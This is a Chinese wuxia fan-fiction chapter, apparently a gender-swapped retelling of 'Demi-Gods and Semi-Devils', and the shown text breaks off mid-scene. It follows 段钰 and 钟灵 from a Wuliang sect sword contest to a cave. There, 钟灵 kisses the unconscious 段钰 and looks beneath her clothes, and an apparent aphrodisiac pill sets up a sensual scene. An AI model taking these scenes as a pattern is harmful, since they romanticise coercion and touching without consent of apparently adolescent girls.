《天音无相》 1. 第 1 章 剑影相叠,疾风骤雨般交织而下,少年剑势强盛,转腕一斜,两剑相击,那中年人面露惊色,被迫退去,一时间只闻铮然声回响在厅堂上。 他虽为少年剑招所退,这一击之下也未有怯意,仍是持剑相抵,想为自己再力争一回。少年占了上风,不免心急意切,剑招更是咄咄逼人,不过片刻,两人便已拆招数余,剑影相缠难解难分。 他们这厢在斗剑,而在厅堂东边则坐了许多观剑之人。落座于上位的是一名道姑装束的中年女子,她紧握手臂间的拂尘,神色微沉,似颇为不悦。在她之下坐了位年纪稍长的老者,白面长须,仿佛对这场斗剑不甚上心,频频向对座末尾看去。 不过多时,那缠斗的二人终是分出了胜负,那力有不支的中年人露了个破绽,脚下一滑,少年见状心中得意,稍有轻敌之意。未料到中年人避剑之后再度运剑回刺,少年猝不及防,踉跄退后数步,手中剑也在地砖上滑出一道深痕。 他还想再战,那中年人却已收了剑,朝他微笑道:“师弟,我看你还是莫要运功了。” 少年绷着脸朝他行了一礼,已不复先前骄矜之态:“多谢龚师兄手下留情。” 厅东观剑众人纷纷向那老者道贺,唯有那道姑冷笑连连,老者也不在意,朝她笑道:“四局三胜,辛师妹,你还想再比下去么?” 道姑冰冷冷道:“小徒学艺不精,不敢再在左师兄及诸位观礼之客面前献丑。只是师兄,你这徒弟倒是不错,很有一番你当年的风范。看来师兄这些年在剑湖宫没有白住,对那无量玉壁可是大有领悟……” 老者似听不出她话中之意,道:“师妹无需多言,一切都是照着本派规矩来的。胜负既分,你还有什么话要说?” 道姑冷哼一声,对身后站着的弟子道:“把他扶下去罢!” 所言自然是那斗剑的少年了,老者闻言知晓她已承认斗败一事,走到厅堂中间,面朝对座前来观礼的来客抱拳致谢,朗声道:“诸位都是云南武林中的相识同道,受我与辛师妹的邀请前来门派,一是为了观礼,二是为作公证。鄙派原有东、北、西三宗,三十五年前北宗大败于试,自此离派而去。这三十五年来,只余东西二宗每隔五年相约于剑湖宫比试,所胜一方便能入住剑湖宫,想必诸位也清楚,我就不再多言了。此次斗剑,小徒侥幸险胜三场,按照约定本该有五场……” 说着向那道姑略一点头,道姑不情愿地起身行礼,道:“师兄门下人才济济,这次是我们西宗败了。这剑湖宫,还是让东宗继续住着吧!” 老者回礼:“东宗与西宗皆为无量剑,出于同源,有时虽相比相斗,也是为了门派着想。胜负不过一时,但若是以此能够激励门下弟子钻研精进,这剑湖宫里住了谁不都是一样吗?” 此言一出赢得一片叫好,道姑只得道:“师兄说的是。”虽心有不满,也只能暂时咽下这口气。 老者抚须微笑,忽朝座末道:“这位段姑娘,你在看什么?” 在场众人一齐朝他目光所落之处看去,只见西边观礼座的末尾坐了个身着青衫的少女。她肤如冰玉,琼鼻朱唇,眉宇间更是一片天真婉然,在这盛夏暑气中,恰似迎风举荷,令人见之舒心。 她被这么多人看着也未露怯,展颜一笑道:“我在看他们比剑呀!” 她身旁坐着的一人连忙道:“这位段姑娘年纪尚轻,不知分寸,行事若有冒犯,还望左贤弟看在我的薄面上宽恕则个。” 说话的人乃是一位名唤马五德的茶商,他是武师出身,改做茶商之后聚财百万,家业甚多。因喜行侠仗义之事,也学那燕昭王筑黄金台,若有江湖中人前来投奔,则扫榻相迎,从不计较出身如何。武林中人多收其恩惠,若是在路上见到了他的商队,也愿意保驾护航。 他武功平平,但人缘甚佳,众人都要卖他一个面子。那老者却道:“所有人都在看他们比试,你为何看两眼便望向别处,这剑湖宫不过方寸之地,你到底在看什么?” 少女眸光微动,道:“我在看……看房梁上画的山水。” 众人随她话抬头看去,房梁上果然有画,寥寥数笔勾勒出一副明月山水图,只是笔法粗糙,没甚么可看的。 马五德笑道:“段姑娘初出远门,听闻贵派所在无量山景致清雅幽静,便随我一同来观礼。” 老者略一沉吟,道:“既然如此,还未请教段姑娘名姓,师出何门?” 那道姑两指拈了碗茶道:“不过是个小姑娘罢了,当着这么多武林同道的面,师兄又何必这般咄咄逼人呢?”说完竟对那少女和颜悦色一笑,道:“你叫什么名字?可有师门?不要怕,尽管说出来便是了。” 少女见她身后站着几名女弟子,顿时心生好感,道:“我单名一个钰字,至于师门嘛,我还从未拜过师父呢! 人道行走江湖,最忌遇见三种人:老人,小孩,女人。众人听她语声软糯,又自言没有师门,那就是还未习武,想必不是什么高人隐士之后,大约是哪个大户人家的千金小姐出游。云南民风淳朴,汉夷混居,不像中原那般讲究礼教,哪怕是世家大族亦不约束女子离家游历。又马五德对她如此维护,心中各有计较。 老者听她还未习武,顿时心下疑惑尽去,眉心一舒,道:“今日来宾众多,若有什么招待不周的地方,还请多多包涵!”即刻吩咐弟子去设宴。 那道姑却说:“你既然没有师父,不如拜入我西宗门下如何?” 西宗不同与东宗,门下也有不少女弟子,个个都秀丽端方,那叫段钰的少女姿容却更在她们之上。她这么一说,连那正要出门的老者都回过头道:“辛师妹,你这话可是当真?” 道姑说:“这次比试是师兄门下弟子赢了,五年后我们西宗自然还会再来,收些弟子也是为了本派着想,师兄以为呢?” 那老者面色一沉,正要开口说话,段钰摇了摇道:“五年,这可太长了!我爹娘定然是不许的,若是五个月还差不多。” 马五德失笑道:“世上哪里有五个月就能学成的剑法!” 段钰道:“怎么没有?我爹爹就说过……” 她话还未说完,厅堂上却传来一声惊呼:“这里怎么有条蛇?” 老者疾步而至,一剑挑起那人肩上青蛇,落地即斩,梁上忽有人道:“住手!别动我的蛇!” 众人皆是一惊,未想房梁上竟会藏了个人。唯有马五德在段钰身旁低声道:“段姑娘,你是不是早就察觉了?” 段钰笑道:“怪我眼睛太尖啦,一来就看到有条蛇尾挂着。” 老者斥责道:“既然看见了为何不说?” 段钰道:“又没人问,为什么要说。” 话说间又有数条小蛇从梁上直落而下,掉在众人肩头,一时厅堂上热闹非凡。段钰站的远,避开脚下一条蛇对马五德道:“你快看,这是不是赤练蛇?” 马五德道:“不好,这些蛇都有毒!” 老者一剑将蛇斩成两段,大为光火,一想到有人趁着比试之时爬到了梁上,门下弟子竟无一发觉,深感失了面子,沉声道:“阁下何必躲躲藏藏,躲在上头到底不是君子所为,莫非阁下与我派有什么仇怨?” 梁上翻出一道人影,道:“没仇没怨,我只不过是来看热闹的。但你却杀了我的两条蛇,现在可算是结仇了。” 她一身彝人装束,鬓边别花,两截手臂露在外头,挂了许多银光闪闪的饰物,腰上绑着个鼓囊囊的皮囊,双腿悬空坐在梁上,目光一转,却是朝段钰看去。 段钰道:“你也是来看他们比剑的?” 梁上少女似笑非笑道:“我可不是来看什么比剑的,我是看来死人的!” 诸人皆惊,段钰疑惑道:“可是那比剑的两个人不是仍活的好好的吗?” 她虽是孤身一人,但来历不明,,老者捉摸不透,又顾忌方才那一场蛇雨,道:“阁下无邀而至,私闯剑湖宫,究竟所为何事?” 少女道:“都说了是来看死人的,这还不够清楚么?” 老者身旁站着的便是那比剑胜出的弟子,闻言怒道:“我师父这般好声好气同你说话,你还如此无礼——” 少女低头看他,语气平淡道:“是吗,那我也好声好气地答了,我说你们都要死了,你看怎么样?”话音未落,她腰间皮囊一松,一道白影朝那汉子奔去。 那汉子肩头立时多了团毛茸茸的东西,顺着他的衣领钻了进去。少女眼中带笑,曲指在嘴边唿哨一声,汉子一声大叫,在身上到处摸索着,又将外袍脱了,想把那东西抓出来,没想到次次扑空,不但如此,那团白影还钻进了他的内衫之中。他衣衫凌乱,白影却在他周身飞快游走,自下钻进了裤中,他急得满头大汗,却又奈何不得,一时间乱抓乱按,自己弄的狼狈不堪。 老者当即出剑,只是白影时躲时藏,倒比他的剑招还要快上许多,任老者剑法再如何精妙,一时之间也奈何不得。 段钰见那人原本意气风发,转眼间就落到这番地步,低声道:“有话不能好好说么,为什么要突然动手?” 那少女耳目聪灵,闻言目不转睛看着她:“你说什么,再说一遍。” 她鬓边茶花深红,而其容貌却更比花色艳丽,段钰自小长于深宫,侍奉的女子多是貌美顺从,少见这等野性十足的少女,顿时慌了神,嗫嚅着说不出话来,倒把自己闹了个脸红:“我……我……” 那少女嗤笑道:“什么我我我的,你怎么结巴了,对着人连话也说不清?” 段钰微恼,转过身不去看她。她乌发下露出一点淡粉的耳尖,少女起了逗弄的心思,故意说道:“怎么?你话说不清就罢了,这脸也不能见人了?” 段钰立刻回过身对着她,心想看就看,难道我还怕了你?可惜却无这般气势,只是红着脸不敢看人,眼睫微颤,半晌才敢偷偷抬起眼睛向上看,正撞见那少女笑盈盈的一双眼。 马五德端了碗茶与她,悄声道:“段姑娘,你认识这人?” 段钰接过喝了口,奇道:“这是白茶?倒是别有一番滋味,确实如你所言,非同一般。或许是此地风水上佳,土质有别于他处,是以茶品清奇。可是这茶第二道的滋味却不如你库中所藏的那几种,应是此处人未等抽针便采的缘故……你说她?我不认得。” 马五德一听也取了碗尝了口,他做茶商多年,自然能品出茶的好坏,啧啧称奇:“果然如此,若如段姑娘所言,等茶抽针再采,这茶又是如何?” 段钰当即道:“价逾千金。” 马五德喜不自胜:“段姑娘真是我的贵人!如果不是姑娘指点,上次那批茶怕是要栽在手里了!等回头咱们下山,我库中还有些普洱,也请姑娘一一品鉴。” 段钰道:“无需道谢,都是小事而已。” 众人听他二人这番对答,才明白马五德何以待她这般不同。房梁上的少女也听得一清二楚,玩味一笑:“小结巴,原来你会品茶?是嘴巴不灵舌头灵么?” 段钰岂能听不出这话中的戏弄之意,秀眉微拧,不悦道:“我不是结巴。” 少女正待开口,却见一人自门外疾步走来,刚迈过门槛便扑倒在地。那老者见状叫道:“容师弟,你这是怎么了?” 左右弟子上前将那人搀起,只见他面如金纸,双目圆睁,愤恨之意未褪,却不发一言。道姑抢先一步上前按住他的手腕,又试了试他的鼻息,登时大惊失色:“师兄,他死了!” 老者道:“师妹,你且让开。”他上前解开男子衣衫,忽然一愣,只见男子胸口以黑墨写了八个字:“神农帮诛灭无量剑”。当即怒不可遏:“竟敢在我们无量剑派的地盘上如此放肆,今日留不得他们了!” 少女见状拍了拍手,那团白影顺着梁柱攀爬而上,趴在她的肩头。段钰这才看清,原来那毛茸茸的白影是一只小貂,睁着一对圆溜溜的红眼睛,看着煞是可爱。段钰自幼便喜爱猫儿狗儿一类,因母亲碰不得此物毛发,不得养在屋内,此时一见便心生喜意,忍不住看了又看。 少女心知她在看自己的白貂,有意不将貂儿收回皮囊中,令它伏在臂弯之间,轻轻抚摸着。 那老者召集完门下弟子,这才想起那少女来,朝梁上道:“阁下方才所说的,是否指的便是此事?” 少女道:“算你聪明,不过也来不及啦!人家是有备而来,你们还能抵挡不成?要我说啊,你们不如赶紧把东西收拾收拾,趁早离开吧。” 东宗比剑初胜,老者如何能离开。何况众目睽睽之下,若是依这少女话轻易撤退,只怕日后无量剑派就要声名扫地,再也无法在江湖上抬起头来了。 他心中已有决断,冷冷道:“姑娘为何这么说,难道你也那神农帮的人吗?” 少女冷笑道:“好言相劝你不听,反倒怪起我来了!那你就带着你的徒弟们去死好了!横竖神农帮也只杀你们无量剑的人,和旁人又有何干系。” 段钰疑惑道:“你怎么知道神农帮的人要来?” 少女把白貂收回皮囊,冲她笑了笑:“你真的想知道?” 段钰点了点头,少女把玩着手上小蛇,漫不经心道:“这么想知道,不如你来做我的奴婢,伺候我几天,我就大发慈悲告诉他们,让他们死也死得明白,怎么样?” “你……”段钰从未听过这般无礼的要求,羞恼道:“胡言乱语,我才不给人当奴婢呢!” “有求于人就要卑躬屈膝,你连这都不懂?”少女瞥了那老者一眼,意有所指:“无意中得罪了人都不知道,哼,还说什么名门正派英雄好汉!我是来看热闹的,可不是来救人的。” 段钰一脸茫然:“可他们也不知发生了什么,你不如把话说清楚些。” 少女懒洋洋道:“哦?这么说你是打算给我做奴婢了?” 段钰手足无措道:“你胡说些什么!我可没答应你……” “你既然要我说清楚,那就是答应的意思。”少女居高凌下道:“老头儿,你听清楚了,这群人是奉了缥缈峰灵鹫宫的号令,要夺了这座剑湖宫去,为的是要查明‘无量玉壁’一事。话说的够清楚了吗,如果还是不懂,那就等神农帮打上门来自己去问吧!” 那老者听完深深皱眉,即刻便有弟子回报,说对面山上已聚集了不少神农帮的人,并射来一封书信。 不待老者吩咐,方才那龚姓汉子已经取来信拆开,道:“师父,他们也太仗势欺人了!” 少女神色微寒,轻声道:“真是不知死活。”她说完从梁上一跃而下,转瞬间来到段钰面前,右臂在她腋下一穿,道:“说话要算数,小奴婢,跟我走吧!” 她步伐轻快,不过一息之间已带着段钰掠至门外,显然轻功不凡。段钰被她带钳住手臂,挣脱不得:“谁是你的奴婢了,快放开我!” 少女带着她轻功飞过房檐,几个纵跃之间便离开了剑湖宫,贴着她的脸颊道:“你怕不怕蛇?” 段钰被她温暖的吐息一扑,雪肤微红,强作镇定道:“我不怕。” 少女带着她湖岸树林旁落下,段钰腿脚发软,坐在深草中,见她不怀好意地看着自己,心中一突,结结巴巴道:“你、你要做什么?” 少女目光在她衣领旁转了一圈,单膝压住她的双腿,指腹在她脖颈上打转,道:“既然你不怕,那我往你的衣领里放一条怎么样?就当是为我保管了。” 说着真提了一条绿油油的小蛇要往段钰衣领里塞,段钰忙去抓她的手,却被她躲开了,衣领里当真有什么冰冷的东西掉了进去,她却挣不过少女,只得含泪恳求道:“别、别放进来……” 少女不为所动,淡淡道:“说啊,你要不要做我的奴婢?” 段钰咬着唇摇了摇头,少女攥着她的手腕道:“你不答应,我就把蛇放进去了,它好像还挺喜欢你的,如果不是我提着它的尾巴尖儿,它可就要马上钻进去了。” 她指缝间真有条绿莹莹的细长尾巴,段钰一见之下吓得魂飞魄散,也不管她说什么连忙点头。少女哈哈哈大笑,拍手道:“你看!” 段钰这才看清楚,那细长冰冷的东西竟是一条玉雕的小蛇。少女见她目瞪口呆的样子,更是大笑不止,收了玉蛇挂回腰上,忽道:“咦,你身上是什么味道,好香。” 段钰被她压着仰倒在草里,少女贴着她的脖颈轻嗅到衣领,又拉起她的手腕撩开衣袖闻了闻,段钰被她气息一扑,手臂痒得厉害,挣扎着想把袖子放下,少女却突然皱了皱眉头,道:“别动。” 段钰不知怎么有些怕她,低声道:“你先放开我。” 少女却握着她的手腕压在她身上,仔细看了她片刻,轻声道:“你生得好白,我娘都没有你这么白。你身上好香,你平日是不是会吃花?” 段钰也想到了自己母亲,她若是知道自己受了这番委屈,不知要有多心疼。一想到这里,眼泪便止不住地落了下来。少女见她落泪,当即慌了起来,忙扶她坐好,摘了她发上草屑,道:“你别哭了,我不逗你了!” 段钰推她推不开,啜泣道:“你这人……你这人好生无礼,欺辱我不说,还要我做你的奴婢!” 少女看了她半晌,抹了抹她脸颊上的泪痕,道:“噢,你是为这事哭的。那我问你,你爹娘有没有教过你,答应过人的事一定要做到才是,不然就决不能轻易松口。” 段钰不解道:“你说什么,我爹娘……这和我爹娘有什么关系?” 少女道:“就说你爹娘教没教过罢!” 段钰不愿被她看低,低声说:“仁义礼智信,这些先生都是教过的。可是这和你说的有什么——” 少女打断了她的话:“这么说你是知道的了,那你答应的事,为何却不肯去做?” 段钰睁着两只红眼睛看着她,好像一只呆愣愣的兔子,少女几乎忍不住想伸手去她头上摸摸,看看会不会有耳朵,故作严肃道:“你不是答应要做我的奴婢了?怎么又要反悔?” 段钰惊道:“我何时答应你的,你这人真是无理取闹!” 少女将她双手反剪在身后,抿了抿唇道:“答应了的事做不到,你对得起爹娘的教导吗?方才那么多人都看着听着,我也说了,如若我把事情说出来,你就要做我的奴婢,难道这也有假?你要是不愿,不如我们回头去找那无量剑的老头,让他来评评理,看看到底谁对谁错。” 段钰被她绕糊涂了,争辩道:“可是明明是你自己说的,我半点都没有答应你的意思!这事怎么能怪我?” 少女道:“不怪你怪谁,旁人可没说要做我的奴婢。这是怨不了别人,要怪只怪你自己多管闲事。” 段钰心绪纷杂,道:“你先把我的手放开再说。” 少女依言松开手,段钰看着手腕上的红痕,抱怨道:“你力气也太大了,抓得我手好疼。” 少女奇道:“你真的不会武功?” 段钰道:“很奇怪吗,我爹爹不想教我习武,他常说姑娘家家,整日舞刀弄枪像什么样!”又神情沮丧道:“我也想学呢,可惜没人教我。” 她说话时尾音拉得老长,少女扑哧一笑:“这就是你爹爹的不对了,走江湖的人怎能没有武艺傍身,被人欺负了都没处说理去。” 段钰斜睨她一眼:“说的对!我要是学会了武功,今日就不会被你如此轻易的抓走啦!” 少女道:“往好处想,抓走你的是我,可不是别人,你已经够走运了。要是碰上那些狡诈浪荡之徒,你一个女孩子,想跑都跑不掉。” 段钰嘟囔道:“你和他们不也没差?” 少女捉起她的手分开,摸着她光滑的掌心道:“我怎么狡诈了?明明是你亲口答应的事,总归不是我错。至于浪荡嘛……”她侧头轻轻在段钰耳一嗅,笑道:“这算是么?” 段钰红着脸躲开,道:“你、你既然知、知道,就不该行事如此轻薄!” 少女却将她抱了个满怀,脸埋在她长发之中深吸了口气,叹道:“你怎么又结巴起来了?说你是小结巴你还不愿承认。你身上到底是什么香味,闻起来可真舒服。” 段钰嗅了嗅衣袖,疑惑道:“什么味道,我怎么不知道?” 少女灵光一闪,道:“山茶花,一定是它!” 段钰看着她鬓边的山茶:“你头上不是有一朵么,许是它的香气呢。” 少女摘下花转了转,笑道:“那就送给你了。”说着往段钰发间一插,赞道:“你戴这花真好看!” 段钰头一次被外人这么夸赞,羞恼之余,另生出一种别样的感觉来,低声道:“我倒觉得,它和你更相衬。” 少女爽朗一笑,笑容真如山茶般娇艳:“那等我回头就去摘一朵。” 段钰微微点头,少女又道:“那剑湖宫里人多,你说名字时我没听清,你叫什么?” 段钰又说了一次,问那少女:“你叫什么?” 少女道:“我姓钟,单名一个灵字,我看你年纪应该比我小,是不是?” 段钰不信,两人对了生辰,果然钟灵长她一岁。段钰只得道:“钟姐姐。” 钟灵被她这一声姐姐唤得身心舒畅,见她依然有些不情愿,逗弄的心思又活泛起来,佯装正色应了,又道:“人前这么叫,人后却不许这么叫我。” 段钰心想难道她还有什么别的小名?便道:“人后该怎么叫你?” 钟灵拉着她的手说:“叫我主人。” 段钰一怔,钟灵抢在她前头说道:“你可是答应了要做我的奴婢的。” 段钰面上红成一片,也不知是羞还是怒,发间那朵山茶随她动作一摇一晃。钟灵紧紧盯着她不放,段钰终于受不住,低下头,声如蚊蚋唤了句:“主人。” 她说完连脖颈都是粉扑扑的,钟灵心知这已经是她的极限了,不能把人逼得太紧,微笑道:“很好,那我们这就走吧。” 段钰稀里糊涂道:“去哪儿?” 钟灵领着她向长草深处行去,左看右看,口中答道:“去捉蛇,去不去?” 段钰忙去掰她的手,摇头道:“我不去!” 钟灵只手解了腰间皮囊,那只白貂便顺着她的手臂攀到肩头,人立一般站起。段钰见它一条毛茸茸的大尾巴摇摇晃晃,欣喜道:“这是你的白貂?我能摸摸它么?” 钟灵嘬起唇吹了声哨,白貂便从她肩头落下,从两人牵着的手上跑过,蹲坐在段钰右肩。段钰惊喜地啊了一声,想伸手去摸这白貂,手却被钟灵紧攥着,不由着急道:“我摸摸它,你且放开我的手。” 钟灵眼珠一转,道:“我要是放手,你抢了我这白貂去怎么办?”见她似乎极为喜爱这白貂,假意道:“这貂儿是我从小养到大的心爱之物,就算是我爹娘也轻易碰不得,你想摸它,需问过我的意思。” 段钰听她这么一说,才知道这白貂的宝贵。她也曾养过些花儿草儿,浇水松土都是亲力亲为,从不让旁人碰一下。思及此处,顿时有些讪讪,可这白貂着实让她喜欢,她垂首低声道:“我……我只摸一下就好,你就让我……” 她还未求过什么人,这般低声下气说完,又想起钟灵的脾性,只得恳求般望着她。钟灵玩味一笑,把她拉到自己面前,捏了捏她的耳尖道:“我才说过了,人后你要叫我什么?” 段钰大窘:“我……你怎么能!” 钟灵道:“你若是不肯叫,这白貂就不给你摸了。但你若是叫了,我就让你看看它的其他本事,怎么样?” 段钰想了又想,到底是舍不得这白貂,咬了咬唇道:“主人……” 钟灵故意说:“小奴婢叫主人做什么?” 段钰气极,钟灵却催促道:“说啊,你说我怎么知道?” 这湖岸边只有她们二人在,段钰心一横,索性豁出去了,结结巴巴道:“主……主人,我想摸摸这只貂儿。” 钟灵见她说的好生艰难,欣赏了会儿她涨红的脸,手指顺着她脸颊慢慢来到下巴,轻轻一勾,只觉手中少女肌肤娇嫩异常,仿佛再用力些便会化了,心中微奇,笑道:“好罢,小奴婢,主人答应了。” 那白貂果然在段钰肩头伏下,段钰小心翼翼摸了摸它的后背,见貂儿一动不动,任由自己摸着,便胆大了些,将它抱在怀里,轻轻抚弄着,欢喜道:“呀,它可真乖巧!” 钟灵在前面拨开草叶,道:“是了,你要是能像它一样,做主人的不知该有多高兴。” 段钰得了新宠,也不去理睬钟灵的话,只顾低头摸着白貂。两人沿着湖岸走了一会儿,钟灵忽然踩住一物,喝道:“呔,哪里跑!” 段钰定睛一看,钟灵脚下正是一条花色的小蛇,不禁有点慌神。她怀中的白貂却似离弦之箭,闪电般急跃至地,抓着那小蛇吞吃起来。段钰这才明白她为何要带着自己找蛇,道:“你这白貂是吃蛇的吗?” 钟灵道:“它从小就吃蛇,非毒蛇不吃,在谷里还好,到了外头,还要我费心费力去找毒蛇,真是麻烦!” 那白貂将小蛇吞了个一干二净,又重新回到段钰怀中窝着,段钰摸着白貂柔软光滑的背毛哄道:“我怕蛇,你吃蛇,真是只好貂儿。” 钟灵听她软声软语,心中好笑,面上却道:“还不快走,当心这貂饿急了咬你一口!” 段钰道:“它可不会咬我。” 钟灵一个唿哨召回白貂,笑道:“这可说不准,人饿极了都要吃人,更别说畜牲了!”不由分说拉起段钰的手,在她手腕内侧咬了口道:“它要是真咬了你,我可没本事去救。” 段钰呼痛,钟灵道:“痛么?知道痛就好,万不可掉以轻心,提防着点。” 段钰道:“提防谁?提防你吗?” 钟灵道:“提防我做甚么,难不成我还会害了你?”又道:“走江湖便是如此,万事留心留意,你初涉此地,无人教你,我好心提点你,你也这般不上心吗?” 段钰辩不过她,赌气将头一扭,不去看她。钟灵心中不知笑了多少场,强忍着不露声色,俯身在草里寻蛇。眼看日头照得人眼前生晕,两人在草里翻来找去,却再也不见蛇的踪影。段钰也觉得有些燥热,转头看沿岸波光粼粼的湖水,顿时口干舌燥。钟灵似有所感,笑道:“想喝水了?” 段钰点头,钟灵解下后腰水囊,长眉一挑,道:“我去取水,你就在这儿等着。” 段钰道:“多谢。”见钟灵却无动作,只望着自己笑,咬牙道:“主人。” 钟灵笑道:“乖。”终于肯放开段钰的手了。 此处离湖岸尚有一段距离,段钰耐不住这毒辣的日光,便躲到树阴下站着。时有微风拂经草地,绿草如茵,水浪一般东西晃动。远处碧空若拭,峰峦如屏,山间松桧森森,遥见一条玉带泄流而下,于日光中隐生虹晕,当真如传说中的神仙居所一般,不觉心中燥热散去,通体遍凉。 这山光水色让人心旷神怡,段钰恋恋不舍地收回目光,无意一瞥,却看见草丛里露出一截细长蛇尾。她看见钟灵踩蛇,觉得很有意思,便也仿照她的举动,朝那蛇尾上踩去。那蛇被她踩住尾巴,逃脱不得,打着卷缠绕过来,段钰立 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这洞穴里堆了许多干柴,整整齐齐地摞成一堆,约莫是无量剑派平日来此打柴,存放在此的。地上另有些干草编的蒲团一类,钟灵心中已有计较,背着段钰绕到柴堆后,小心将她放到干草堆上。段钰已经昏了过去,钟灵试了试她的鼻息,发现已经平缓有力,不由低骂一句,怒道:“你这傻子,不会武功还敢去捉毒蛇?” 钟灵仍是不放心,又从荷包里摸了枚药丸,要喂给段钰。段钰神志昏昏,咬紧牙关不肯张嘴。钟灵无奈之下,只得将那丹药含在嘴里,捏着她的下巴渡了过去。 勉强把药喂了进去,钟灵微怔,在段钰面上轻轻嗅了嗅。思索片刻,含了口清水在口中,段钰这次张嘴倒是快,两人舌尖相触,钟灵腕上生出酥麻之感,一时心慌意乱,猛然推开段钰。 段钰自是无知无觉,钟灵呆呆看着她的嘴唇,面上红霞飞起,又灌了口水,按着段钰慢慢渡了进去。 段钰因解毒所致,四肢百骸如在火上炙烤,焦渴难耐。是以毫不设防,嘴巴微微张着,只等那清水入喉来。钟灵这般喂了她半袋水,只觉得她嘴唇异常柔软,口中香气馥郁,心中仿佛有只爪子在挠着,又俯下身去,轻轻吻了吻段钰的嘴唇。 段钰眼皮动了动,仿佛马上就要醒来。钟灵不躲不避,直勾勾盯着她的面容,道:“你在装睡?” 段钰头微一斜,显然是昏睡不醒。钟灵心道可惜,叹了口气,又查看了一番她左臂伤口,见无大碍,便为她穿好衣裳。 汉人衣着不同于彝人,钟灵对那些条条带带颇为头疼,胡乱一气弄了弄,见很不像样子,只好重新解了,一件件为段钰穿好。她指尖触碰到段钰肌肤,少女芬芳扑面而来,不觉脸上一热。而指腹向下所触软热光滑,钟灵不禁好奇,揭衣窥视,那薄衫如荔枝皮衣,其之下隐约起伏,轮廓青涩,正如果肉般鲜灵可人。她垂目看半晌,默然为段钰抚平衣裳,去洞外狠狠洗了几把脸,另将水囊重新灌满。走时瞥见水中倒影里自己耳朵红得厉害,脚尖踢了颗小石子在水里,扰得湖水涟漪阵阵不止。 钟灵回到洞中,把段钰搬到自己膝上枕着,想了想又怕她躺不安稳,搂了她在怀中。段钰面颊微红,睡得正好,在钟灵怀里蹭个不停,口中喃喃自语。钟灵低头一听,登时哭笑不得,拍着她的肩膀道:“好了好了,就当一回你的娘,快些睡吧,你这呆子!” 段钰果真不再动弹了,只是双臂紧紧抱着钟灵腰身。钟灵被她压在干草堆里,却不觉得身上压了个人,轻飘飘的好似团云朵。段钰伏在她身上睡着,钟灵看到她嘴角微翘,不由心中一荡,指尖在她唇上摩挲片刻,翻身侧躺,嗅着她身上淡淡香气,神思困倦,就此抱着段钰睡去了。 这一觉醒来已是黄昏时分,暮色沉沉,天光云影被霞色所染,在水面横铺而去。瞑色昏茫之中,山中雾气渐起,其景清幽迷蒙。钟灵在洞外望了望,正想回去将段钰叫醒,忽然听到脚步声向此靠近,一人道:“师兄你看,这有个石头洞!” 她当即折身回到柴堆后,先将干草分做一半,抱了段钰进去,自己也合身躺在她身边,将另一半盖在两人身上。脚步声由远及近,有人在洞外道:“慢着,这洞里不会藏着什么人吧?”先前说话那人道:“师兄真是乱操心,这无量剑都被咱们神农帮拿下了,他们那些个徒子徒孙不都在剑湖宫里?此处又怎么会有人呢?” “总归是稳妥些好,你随我来,把这石洞搜上一搜再说。” 钟灵听得一人脚步虚浮,一人沉稳,知道这两人中一人武功差,一人武功好,只是不知哪个是师弟哪个是师兄。他二人随意搜了几处,咒骂数声,道:“这无量剑真是个穷地方,还说是什么名门正派,半分银子都搜不出来!我看他们整日都在此餐风饮露,快要成仙了!真不知这穷乡僻壤能有什么好东西,值得灵鹫宫几位圣使千里迢迢来此寻宝。” “不是说这门派中藏有一宝物,唤作无量玉壁,既能称玉,或许是什么珍宝呢。” “玉壁玉壁,难道有一整面墙都是玉做的不成?师兄,那咱们可就发大财了!” “有钱没命花,发财又有什么用?走罢,咱们还是再去找找那无量玉壁到底在何处,这生死符若是发作起来,那可真是求生不得求死不能。” 钟灵长舒一口气,静待片刻后等那师兄弟二人走远,才掀开干草堆,一声轻响传来,像是有什么东西掉在她手边。钟灵转身一看,原是个鎏金小炉,模样甚是精巧,里头用红绸包着几颗艳红的药丸。这东西本是被人藏在干草堆后,不想被她无意扫了出来,钟灵在草堆里翻了翻,看到一本小册子压在草下,抽出来一看,尽是男女交合之画,心觉无趣,又塞了回去。 她料想这小炉中的药丸也不是什么好东西,当下想出洞扔了,不曾想腰上皮囊一阵抖动,白貂竟挣脱而出,朝着洞外跑去。钟灵暗道不好,追在它身后,那白貂扑进深草中,像是在捕食蛇类,钟灵追了它一会儿,见它只顾觅食,便由得它去了。 钟灵前脚方走,段钰便悠悠转醒,见四下昏黑无光,心觉怪异,叫了一声钟姑娘,满石洞尽是回声,吓得她再不敢说话。在身边摸索了一会儿,她取了火折子,小心翼翼看了看,抽了几条干柴拢在脚边,拧了团干草放在上楼,吹息之间便燃起火来。她见钟灵水囊在自己脚边放着,顿时安心不少,然等了又等,不见钟灵回来,她孤身一人在此,不知要如何是好。想起来去找钟灵,奈何手麻脚软,实难起身,又跌倒在草堆上。 这一跌之下,手仿佛撞倒了什么东西,段钰转身看去,一个鎏金小炉被她无意打翻在地,红绸包裹的东西也散了出来。她捻起一枚药丸,疑惑地看了看,指尖稍稍用力,药丸便化成软泥。她又闻了闻,也没什么气味,便随手抹在红绸上。可那药泥却像胭脂一般依附在手上,怎么也擦不去。段钰情知不妙,拧开水囊想冲洗,觉一股痒麻从手朝着手臂攀爬,囊袋滚落在地,水眨眼间便流了个干净。 段钰看到左手指甲深黑,还当自己已经中毒了。她一时情急,倒是忘了被毒蛇咬伤的事,霎时间气血翻腾,胸闷气短,她跌跌撞撞爬了起来,朝洞穴外走去,正撞上回来的钟灵。 钟灵道:“你醒了?这是要做什么?” 段钰双颊红染,扑倒在她怀中抬起头,双眼迷离道:“我中毒了,我要去找水……” 钟灵抱着她回到干草上,段钰全身软麻,热意流经四肢百骸,微微喘息起来,道:“不行,你放开我。” 她既已醒来,表明蛇毒已解,钟灵强压着她道:“你怎么了?” 段钰全身发烫,无力地抓着钟灵手臂,低声道:“我、我也不知道。我身上好热,我是不是快要死了?” 这石洞中甚是凉爽,入夜恐怕还有些冷。钟灵皱眉解了她的外衣,撩起她的头发问:“怎么样,还热吗?” 段钰昏昏沉沉道:“去拿水来。” 钟灵在她脚边找到水囊,发现已经空了,只好又去装满水。她这一去一回,段钰却觉得身处烘炉之中,热意入心,呼出的气都是滚烫的,像在蒸笼里一般。钟灵把水囊递到她的嘴边,段钰喝了一口,那躁意丝毫未解,她把水囊里的水从头淋下,半身衣衫尽湿,如此才稍稍清醒了些。她道:“钟姐姐,你带我去水边吧!” 钟灵道:“去水边做什么?你不怕那水中有蛇,又咬你一口么?” 段钰已然听不清她的话,啜泣道:“我好难受。” 钟灵扶着她的腰,责怪道:“衣裳都湿了,怎么会不难受!”便要扒了她这身外衣,段钰却惊喘一声,慌张道:“别碰我!” 